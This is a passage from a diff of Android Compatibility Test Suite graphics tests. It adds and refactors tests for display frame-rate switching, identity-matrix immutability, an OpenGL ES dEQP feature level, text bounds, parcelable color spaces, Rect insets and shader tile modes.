+            new ActivityTestRule<>(FrameRateCtsActivity.class);
+
+    @Rule
+    public final AdoptShellPermissionsRule mShellPermissionsRule =
+            new AdoptShellPermissionsRule(getInstrumentation().getUiAutomation(),
+                    Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS,
+                    Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE);
+
+    private int mInitialMatchContentFrameRate;
+    private DisplayManager mDisplayManager;
+
+    @Before
+    public void setUp() throws Exception {
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
+
+        // Prevent DisplayManager from limiting the allowed refresh rate range based on
+        // non-app policies (e.g. low battery, user settings, etc).
+        mDisplayManager = activity.getSystemService(DisplayManager.class);
+        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+
+        mInitialMatchContentFrameRate = toSwitchingType(
+                mDisplayManager.getMatchContentFrameRateUserPreference());
+    }
+
+    @After
+    public void tearDown() {
+        mDisplayManager.setRefreshRateSwitchingType(mInitialMatchContentFrameRate);
+        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+    }
+
+    @Test
+    public void testMatchContentFramerate_None() throws InterruptedException {
+        mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
+        assertEquals(DisplayManager.MATCH_CONTENT_FRAMERATE_NEVER,
+                mDisplayManager.getMatchContentFrameRateUserPreference());
+
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
+        activity.testMatchContentFramerate_None();
+    }
+
+    @Test
+    public void testMatchContentFramerate_Auto() throws InterruptedException {
+        mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_WITHIN_GROUPS);
+        assertEquals(DisplayManager.MATCH_CONTENT_FRAMERATE_SEAMLESSS_ONLY,
+                mDisplayManager.getMatchContentFrameRateUserPreference());
+
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
+        activity.testMatchContentFramerate_Auto();
+    }
+
+    @Test
+    public void testMatchContentFramerate_Always() throws InterruptedException {
+        mDisplayManager.setRefreshRateSwitchingType(
+                DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS);
+        assertEquals(DisplayManager.MATCH_CONTENT_FRAMERATE_ALWAYS,
+                mDisplayManager.getMatchContentFrameRateUserPreference());
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
+        activity.testMatchContentFramerate_Always();
+    }
+
+    private int toSwitchingType(int matchContentFrameRateUserPreference) {
+        switch (matchContentFrameRateUserPreference) {
+            case DisplayManager.MATCH_CONTENT_FRAMERATE_NEVER:
+                return DisplayManager.SWITCHING_TYPE_NONE;
+            case DisplayManager.MATCH_CONTENT_FRAMERATE_SEAMLESSS_ONLY:
+                return DisplayManager.SWITCHING_TYPE_WITHIN_GROUPS;
+            case DisplayManager.MATCH_CONTENT_FRAMERATE_ALWAYS:
+                return DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS;
+            default:
+                return -1;
+        }
+    }
+
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java b/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
index d67411f..07bc33e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
@@ -60,6 +60,180 @@
     }
 
     @Test
+    public void testIdentityMatrix() {
+        assertNotNull(Matrix.IDENTITY_MATRIX);
+        assertTrue(Matrix.IDENTITY_MATRIX.isIdentity());
+        assertTrue(Matrix.IDENTITY_MATRIX.isAffine());
+        assertTrue(Matrix.IDENTITY_MATRIX.rectStaysRect());
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSet() {
+        Matrix m = new Matrix();
+        m.setRotate(90);
+        Matrix.IDENTITY_MATRIX.set(m);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixReset() {
+        Matrix.IDENTITY_MATRIX.reset();
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetTranslate() {
+        Matrix.IDENTITY_MATRIX.setTranslate(1f, 1f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetScale() {
+        Matrix.IDENTITY_MATRIX.setScale(.5f, .5f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetScalePivot() {
+        Matrix.IDENTITY_MATRIX.setScale(.5f, .5f, 10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetRotate() {
+        Matrix.IDENTITY_MATRIX.setRotate(60);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetRotateAbout() {
+        Matrix.IDENTITY_MATRIX.setRotate(60, 100f, 100f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetSinCos() {
+        Matrix.IDENTITY_MATRIX.setSinCos(1f, 2f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetSinCosPivot() {
+        Matrix.IDENTITY_MATRIX.setSinCos(1f, 2f, 3f, 4f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetSkew() {
+        Matrix.IDENTITY_MATRIX.setSkew(1f, 2f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetSkewPivot() {
+        Matrix.IDENTITY_MATRIX.setSkew(1f, 2f, 3f, 4f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetConcat() {
+        Matrix a = new Matrix();
+        Matrix b = new Matrix();
+        Matrix.IDENTITY_MATRIX.setConcat(a, b);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreTranslate() {
+        Matrix.IDENTITY_MATRIX.preTranslate(10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreScale() {
+        Matrix.IDENTITY_MATRIX.preScale(10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreScalePivot() {
+        Matrix.IDENTITY_MATRIX.preScale(10f, 10f, 100f, 100f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreRotate() {
+        Matrix.IDENTITY_MATRIX.preRotate(10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreRotatePivot() {
+        Matrix.IDENTITY_MATRIX.preRotate(10f, 10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreSkew() {
+        Matrix.IDENTITY_MATRIX.preSkew(1f, 3f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreSkewPivot() {
+        Matrix.IDENTITY_MATRIX.preSkew(1f, 3f, 4f, 7f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPreConcat() {
+        Matrix a = new Matrix();
+        Matrix.IDENTITY_MATRIX.preConcat(a);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostTranslate() {
+        Matrix.IDENTITY_MATRIX.postTranslate(10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostScale() {
+        Matrix.IDENTITY_MATRIX.postScale(10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostScalePivot() {
+        Matrix.IDENTITY_MATRIX.postScale(10f, 10f, 100f, 100f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostRotate() {
+        Matrix.IDENTITY_MATRIX.postRotate(10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostRotatePivot() {
+        Matrix.IDENTITY_MATRIX.postRotate(10f, 10f, 10f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostSkew() {
+        Matrix.IDENTITY_MATRIX.postSkew(1f, 3f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostSkewPivot() {
+        Matrix.IDENTITY_MATRIX.postSkew(1f, 3f, 4f, 7f);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixPostConcat() {
+        Matrix a = new Matrix();
+        Matrix.IDENTITY_MATRIX.postConcat(a);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetRectToRect() {
+        Matrix.IDENTITY_MATRIX.setRectToRect(new RectF(), new RectF(), ScaleToFit.CENTER);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetPolyToPoly() {
+        float[] src = new float[9];
+        src[0] = 100f;
+        float[] dst = new float[9];
+        dst[0] = 200f;
+        dst[1] = 300f;
+        Matrix.IDENTITY_MATRIX.setPolyToPoly(src, 0, dst, 0, 1);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testIdentityMatrixSetValues() {
+        Matrix.IDENTITY_MATRIX.setValues(new float[9]);
+    }
+
+    @Test
     public void testRectStaysRect() {
         assertTrue(mMatrix.rectStaysRect());
         mMatrix.postRotate(80);
diff --git a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
new file mode 100644
index 0000000..ceed14a
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PropertyUtil;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that feature flag android.software.opengles.deqp.level is present and that it has an
+ * acceptable value.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class OpenGlEsDeqpLevelTest {
+
+    private static final String TAG = OpenGlEsDeqpLevelTest.class.getSimpleName();
+    private static final boolean DEBUG = false;
+
+    private static final int MINIMUM_OPENGLES_DEQP_LEVEL = 0x07E40301; // Corresponds to 2020-03-01
+
+    private PackageManager mPm;
+
+    @Before
+    public void setup() {
+        mPm = InstrumentationRegistry.getTargetContext().getPackageManager();
+    }
+
+    @Test
+    public void testOpenGlEsDeqpLevel() {
+        assumeTrue(
+                "Test only applies for vendor image with API level >= 31 (Android 12)",
+                PropertyUtil.isVendorApiLevelNewerThan(30));
+        if (DEBUG) {
+            Log.d(TAG, "Checking whether " + PackageManager.FEATURE_OPENGLES_DEQP_LEVEL
+                    + " has an acceptable value");
+        }
+        assertTrue("Feature " + PackageManager.FEATURE_OPENGLES_DEQP_LEVEL + " must be present "
+                + "and have at least version " + MINIMUM_OPENGLES_DEQP_LEVEL,
+                mPm.hasSystemFeature(PackageManager.FEATURE_OPENGLES_DEQP_LEVEL,
+                        MINIMUM_OPENGLES_DEQP_LEVEL));
+    }
+
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_TextBoundsTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_TextBoundsTest.java
new file mode 100644
index 0000000..708e6a1
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_TextBoundsTest.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.res.AssetManager;
+import android.graphics.Paint;
+import android.graphics.Rect;
+import android.graphics.Typeface;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Paint_TextBoundsTest {
+
+    /**
+     * A character that has 1em x 1em size from (0, 0) origin.
+     */
+    private static final String CHAR_1EMx1EM = "a";
+
+    /**
+     * A character that has 2em x 2em size from (0, 0) origin.
+     */
+    private static final String CHAR_2EMx2EM = "b";
+
+    /**
+     * A character that has 3em x 3em size from (0, 0) origin.
+     */
+    private static final String CHAR_3EMx3EM = "c";
+
+    /**
+     * A character that has 2em x 2em size from (1em, 0) origin.
+     */
+    private static final String CHAR_2EMx2EM_LSB_1EM = "d";
+
+    /**
+     * A character that has 1em x 1em size from (0, 1em) origin.
+     */
+    private static final String CHAR_1EMx1EM_Y1EM_ORIGIN = "e";
+
+    private static Paint getPaint() {
+        Paint paint = new Paint();
+        AssetManager am = InstrumentationRegistry.getTargetContext().getAssets();
+        Typeface typeface = Typeface.createFromAsset(am, "fonts/measurement/bbox.ttf");
+        paint.setTypeface(typeface);
+        paint.setTextSize(100f);  // Make 1em = 100px
+        return paint;
+    }
+
+    @Test
+    public void testSingleChar_1em() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_1EMx1EM, 0, 1, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-100);
+        assertThat(r.right).isEqualTo(100);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testSingleChar_2em() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_2EMx2EM, 0, 1, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-200);
+        assertThat(r.right).isEqualTo(200);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testSingleChar_2em_with_lsb() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_2EMx2EM_LSB_1EM, 0, 1, r);
+        assertThat(r.left).isEqualTo(100);
+        assertThat(r.top).isEqualTo(-200);
+        assertThat(r.right).isEqualTo(300);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testSingleChar_1em_with_y1em_origin() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_1EMx1EM_Y1EM_ORIGIN, 0, 1, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-200);
+        assertThat(r.right).isEqualTo(100);
+        assertThat(r.bottom).isEqualTo(-100);
+    }
+
+    @Test
+    public void testMultiChar_1em_1em() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_1EMx1EM + CHAR_1EMx1EM, 0, 2, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-100);
+        assertThat(r.right).isEqualTo(200);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testMultiChar_1em_2em() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_1EMx1EM + CHAR_2EMx2EM, 0, 2, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-200);
+        assertThat(r.right).isEqualTo(300);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testMultiChar_3em_2em_with_lsb() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_3EMx3EM + CHAR_2EMx2EM_LSB_1EM, 0, 2, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-300);
+        assertThat(r.right).isEqualTo(600);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testMultiChar_1em_with_y1em() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        p.getTextBounds(CHAR_1EMx1EM + CHAR_1EMx1EM_Y1EM_ORIGIN, 0, 2, r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-200);
+        assertThat(r.right).isEqualTo(200);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+
+    @Test
+    public void testMultiChar_1em_5times() {
+        Paint p = getPaint();
+        Rect r = new Rect();
+        StringBuilder b = new StringBuilder();
+        for (int i = 0; i < 5; ++i) {
+            b.append(CHAR_1EMx1EM);
+        }
+        p.getTextBounds(b.toString(), 0, b.length(), r);
+        assertThat(r.left).isEqualTo(0);
+        assertThat(r.top).isEqualTo(-100);
+        assertThat(r.right).isEqualTo(500);
+        assertThat(r.bottom).isEqualTo(0);
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
new file mode 100644
index 0000000..ca97dbe
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
+import static org.testng.Assert.assertSame;
+import static org.testng.Assert.assertThrows;
+
+import android.graphics.Bitmap;
+import android.graphics.ColorSpace;
+import android.graphics.ParcelableColorSpace;
+import android.os.Parcel;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
+@SmallTest
+@RunWith(JUnitParamsRunner.class)
+public class ParcelableColorSpaceTest {
+
+    public Object[] getNamedColorSpaces() {
+        ColorSpace.Named[] names = ColorSpace.Named.values();
+        Object[] colorSpaces = new Object[names.length];
+        for (int i = 0; i < names.length; i++) {
+            colorSpaces[i] = ColorSpace.get(names[i]);
+        }
+        return colorSpaces;
+    }
+
+    @Test
+    @Parameters(method = "getNamedColorSpaces")
+    public void testNamedReadWrite(ColorSpace colorSpace) {
+        Parcel parcel = Parcel.obtain();
+        try {
+            ParcelableColorSpace inParcelable = new ParcelableColorSpace(colorSpace);
+            parcel.writeParcelable(inParcelable, 0);
+            parcel.setDataPosition(0);
+            ParcelableColorSpace outParcelable = parcel.readParcelable(
+                    ParcelableColorSpace.class.getClassLoader());
+            assertNotNull(outParcelable);
+            assertEquals(inParcelable, outParcelable);
+            assertEquals(inParcelable.getColorSpace(), outParcelable.getColorSpace());
+            // Because these are named, they should all be the same instances
+            assertSame(colorSpace, outParcelable.getColorSpace());
+        } finally {
+            parcel.recycle();
+        }
+    }
+
+    @Test
+    public void testReadWriteCustom() {
+        float[] xyz = new float[] {1f, 2f, 3f, 4f, 5f, 6f, 7f, 8f, 9f};
+        ColorSpace colorSpace = new ColorSpace.Rgb("DemoSpace", xyz, 1.9);
+        Parcel parcel = Parcel.obtain();
+        try {
+            ParcelableColorSpace inParcelable = new ParcelableColorSpace(colorSpace);
+            parcel.writeParcelable(inParcelable, 0);
+            parcel.setDataPosition(0);
+            ParcelableColorSpace outParcelable = parcel.readParcelable(
+                    ParcelableColorSpace.class.getClassLoader());
+            assertNotNull(outParcelable);
+            assertEquals(inParcelable, outParcelable);
+            assertEquals(inParcelable.getColorSpace(), outParcelable.getColorSpace());
+            assertSame(colorSpace, inParcelable.getColorSpace());
+            assertNotSame(colorSpace, outParcelable.getColorSpace());
+        } finally {
+            parcel.recycle();
+        }
+    }
+
+    @Test
+    public void testWriteInvalid() {
+        float[] xyz = new float[] {1f, 2f, 3f, 4f, 5f, 6f, 7f, 8f, 9f};
+        ColorSpace colorSpace = new ColorSpace.Rgb("DemoSpace", xyz,
+                x -> x, y -> y * 2);
+        assertThrows(IllegalArgumentException.class, () -> {
+            ParcelableColorSpace inParcelable = new ParcelableColorSpace(colorSpace);
+        });
+    }
+
+    @Test
+    @Parameters(method = "getNamedColorSpaces")
+    public void testIsParcelableNamed(ColorSpace colorSpace) {
+        assertTrue(ParcelableColorSpace.isParcelable(colorSpace));
+        // Just make sure the constructor doesn't throw
+        assertEquals(colorSpace, new ParcelableColorSpace(colorSpace).getColorSpace());
+    }
+
+    @Test
+    public void testIsParceableCustom() {
+        float[] xyz = new float[] {1f, 2f, 3f, 4f, 5f, 6f, 7f, 8f, 9f};
+        ColorSpace colorSpace = new ColorSpace.Rgb("DemoSpace", xyz, 1.9);
+        assertTrue(ParcelableColorSpace.isParcelable(colorSpace));
+        // Just make sure the constructor doesn't throw
+        assertEquals(colorSpace, new ParcelableColorSpace(colorSpace).getColorSpace());
+    }
+
+    @Test
+    public void testIsParcelableInvalid() {
+        float[] xyz = new float[] {1f, 2f, 3f, 4f, 5f, 6f, 7f, 8f, 9f};
+        ColorSpace colorSpace = new ColorSpace.Rgb("DemoSpace", xyz,
+                x -> x, y -> y * 2);
+        assertFalse(ParcelableColorSpace.isParcelable(colorSpace));
+    }
+
+    @Test
+    public void testIsColorSpaceContainer() {
+        ColorSpace colorSpace = ColorSpace.get(ColorSpace.Named.BT2020);
+        ParcelableColorSpace parcelableColorSpace = new ParcelableColorSpace(colorSpace);
+        Bitmap bitmap = Bitmap.createBitmap(10, 10,
+                Bitmap.Config.RGBA_F16, false, parcelableColorSpace.getColorSpace());
+        assertNotNull(bitmap);
+        ColorSpace bitmapColorSpace = bitmap.getColorSpace();
+        assertNotNull(bitmapColorSpace);
+        assertEquals(colorSpace.getId(), bitmapColorSpace.getId());
+        assertEquals(parcelableColorSpace.getColorSpace(), bitmapColorSpace);
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/RectTest.java b/tests/tests/graphics/src/android/graphics/cts/RectTest.java
index 90943ce..8e32646 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RectTest.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
+import android.graphics.Insets;
 import android.graphics.Rect;
 import android.os.Parcel;
 
@@ -443,6 +444,20 @@
         assertEquals(4, mRect.top);
         assertEquals(11, mRect.right);
         assertEquals(11, mRect.bottom);
+
+        mRect = new Rect(5, 5, 10, 10);
+        mRect.inset(Insets.of(1, 1, 2, 2));
+        assertEquals(6, mRect.left);
+        assertEquals(6, mRect.top);
+        assertEquals(8, mRect.right);
+        assertEquals(8, mRect.bottom);
+
+        mRect = new Rect(5, 5, 10, 10);
+        mRect.inset(1, 1, 2, 2);
+        assertEquals(6, mRect.left);
+        assertEquals(6, mRect.top);
+        assertEquals(8, mRect.right);
+        assertEquals(8, mRect.bottom);
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
index 46f3392..bd3bb27 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
@@ -19,11 +19,10 @@
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import android.app.UiAutomation;
-import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
+import android.view.Surface;
 import android.view.SurfaceControl;
 
-import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.MediumTest;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
@@ -46,43 +45,27 @@
 
     @Before
     public void setUp() throws Exception {
-        long frameRateFlexibilityToken = 0;
-        final UiDevice uiDevice =
-                UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        // Surface flinger requires the ACCESS_SURFACE_FLINGER permission to acquire a frame
+        // rate flexibility token. Switch to shell permission identity so we'll have the
+        // necessary permission when surface flinger checks.
+        UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+        uiAutomation.adoptShellPermissionIdentity();
         try {
-            uiDevice.wakeUp();
-            uiDevice.executeShellCommand("wm dismiss-keyguard");
-            // Surface flinger requires the ACCESS_SURFACE_FLINGER permission to acquire a frame
-            // rate flexibility token. Switch to shell permission identity so we'll have the
-            // necessary permission when surface flinger checks.
-            UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
-            uiAutomation.adoptShellPermissionIdentity();
-            try {
-                frameRateFlexibilityToken = SurfaceControl.acquireFrameRateFlexibilityToken();
-            } finally {
-                uiAutomation.dropShellPermissionIdentity();
-            }
-
-            // Setup succeeded. Take ownership of the frame rate flexibility token, if we were able
+            // Take ownership of the frame rate flexibility token, if we were able
             // to get one - we'll release it in tearDown().
-            mFrameRateFlexibilityToken = frameRateFlexibilityToken;
-            frameRateFlexibilityToken = 0;
-            if (mFrameRateFlexibilityToken == 0) {
-                Log.e(TAG,
-                        "Failed to acquire frame rate flexibility token."
-                                + " Frame rate tests may fail.");
-            }
+            mFrameRateFlexibilityToken = SurfaceControl.acquireFrameRateFlexibilityToken();
         } finally {
-            if (frameRateFlexibilityToken != 0) {
-                SurfaceControl.releaseFrameRateFlexibilityToken(frameRateFlexibilityToken);
-                frameRateFlexibilityToken = 0;
-            }
+            uiAutomation.dropShellPermissionIdentity();
+        }
+
+        if (mFrameRateFlexibilityToken == 0) {
+            Log.e(TAG, "Failed to acquire frame rate flexibility token."
+                    + " SetFrameRate tests may fail.");
         }
     }
 
     @After
     public void tearDown() {
-        final UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         if (mFrameRateFlexibilityToken != 0) {
             SurfaceControl.releaseFrameRateFlexibilityToken(mFrameRateFlexibilityToken);
             mFrameRateFlexibilityToken = 0;
@@ -90,15 +73,27 @@
     }
 
     @Test
-    public void testExactFrameRateMatch() throws InterruptedException {
+    public void testExactFrameRateMatch_Seamless() throws InterruptedException {
         FrameRateCtsActivity activity = mActivityRule.getActivity();
-        activity.testExactFrameRateMatch();
+        activity.testExactFrameRateMatch(Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS);
     }
 
     @Test
-    public void testFixedSource() throws InterruptedException {
+    public void testExactFrameRateMatch_NonSeamless() throws InterruptedException {
         FrameRateCtsActivity activity = mActivityRule.getActivity();
-        activity.testFixedSource();
+        activity.testExactFrameRateMatch(Surface.CHANGE_FRAME_RATE_ALWAYS);
+    }
+
+    @Test
+    public void testFixedSource_Seamless() throws InterruptedException {
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
+        activity.testFixedSource(Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS);
+    }
+
+    @Test
+    public void testFixedSource_NonSeamless() throws InterruptedException {
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
+        activity.testFixedSource(Surface.CHANGE_FRAME_RATE_ALWAYS);
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java b/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
index 455f59e..b7c7a18 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
@@ -34,14 +34,16 @@
         assertEquals(TileMode.CLAMP, TileMode.valueOf("CLAMP"));
         assertEquals(TileMode.MIRROR, TileMode.valueOf("MIRROR"));
         assertEquals(TileMode.REPEAT, TileMode.valueOf("REPEAT"));
+        assertEquals(TileMode.DECAL, TileMode.valueOf("DECAL"));
     }
 
     @Test
     public void testValues() {
         TileMode[] tileMode = TileMode.values();
-        assertEquals(3, tileMode.length);
+        assertEquals(4, tileMode.length);
         assertEquals(TileMode.CLAMP, tileMode[0]);
         assertEquals(TileMode.REPEAT, tileMode[1]);
         assertEquals(TileMode.MIRROR, tileMode[2]);
+        assertEquals(TileMode.DECAL, tileMode[3]);
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
new file mode 100644
index 0000000..0dd9a30
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
@@ -0,0 +1,275 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
